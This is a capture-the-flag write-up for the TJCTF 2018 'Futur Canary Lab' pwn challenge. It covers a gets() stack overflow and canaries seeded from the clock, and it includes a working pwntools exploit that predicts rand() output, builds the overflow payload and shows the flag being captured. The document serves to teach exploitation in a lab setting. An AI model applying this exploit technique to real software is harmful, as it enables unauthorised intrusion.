TJCTF 2018 - Futur Canary Lab (Pwn)
I am responsible for architecting the most recent paradigm in our modern technological revolution: Secure Secrets. Why don’t you try it out? |
---|
secure, ELF 32-bit LSB shared object and |
Code source
The code source was given :
#include <stdio.h>
#include <stdlib.h>
#define FLAG "-----REDACTED-----"
void interview(int secret) {
int i, j;
int canary[10];
char name[64];
int check[10];
for (i = 0; i < 10; ++i) {
canary[i] = check[i] = rand();
}
printf("Welcome to the Future Canary Lab!\n");
printf("What is your name?\n");
gets(name);
for (j = 0; j < 10; ++j) {
if (canary[j] != check[j]) {
printf("Alas, it would appear you lack the time travel powers we desire.\n");
exit(0);
}
}
if (secret - i + j == 0xdeadbeef) {
printf("You are the one. This must be the choice of Stacks Gate!\n");
printf("Here is your flag: %s\n", FLAG);
} else {
printf("i = %x et j = %d\n", i, j);
printf("%x\n", secret - i +j);
printf("Begone, FBI Spy!\n");
}
exit(0);
}
int main() {
gid_t gid = getegid();
setresgid(gid, gid, gid);
setbuf(stdout, NULL);
srand(time(NULL));
interview(0);
return 0;
}
So it’s pretty simple simple.
First there is a buffer overflow because the gets
function do not check the user input. The data is stored in a 64 bytes long buffer named name
In order to get the flag we must set i
and j
integer variable like 0 - i + j == 0xdeadbeef
.
Trivial but there are home made stack cookies named canary
and check
. If they are not identical when compared the program simply exit.
So now we now we have to make the stack look like the last stack frame.
The vulnerability
Hopefully the 10 int both in check
and canary
are generated via rand()
which his PRNG’s seed is setup via
srand(time(NULL));
Which mean that if the server binary and a binary which generate 10 int with rand, start at the same time they will have the same result.
So we juste have to provide something like : "A" * 64 + 10 integer generated via rand() + "\x00000000" + 0x21524107
from subprocess import Popen, PIPE
from pwn import *
from struct import pack
d = Popen(["./a.out"], stdout=PIPE).communicate()
p = remote("problem1.tjctf.org", 8000)
payload = "A" * 64
for x in [int(a) for a in d[0].split("-")[:-1]]:
payload += pack("<I", x)
payload += pack("<I", 0)
payload += pack("<I", 559038747)
print p.recvline()
print p.recvline()
p.sendline(payload)
print p.recvline()
print p.recvline()
print p.recvline()
Where the a.out
is just a binary which provided the 10 integer which are the same than check
on the server side
switch :: ~/CTF/tjctf/canary » python xploit.py
[+] Opening connection to problem1.tjctf.org on port 8000: Done
Welcome to the Future Canary Lab!
What is your name?
You are the one. This must be the choice of Stacks Gate!
Here is your flag: tjctf{3l_p5y_k0n6r00_0ur_n3w357_l4b_m3mb3r!}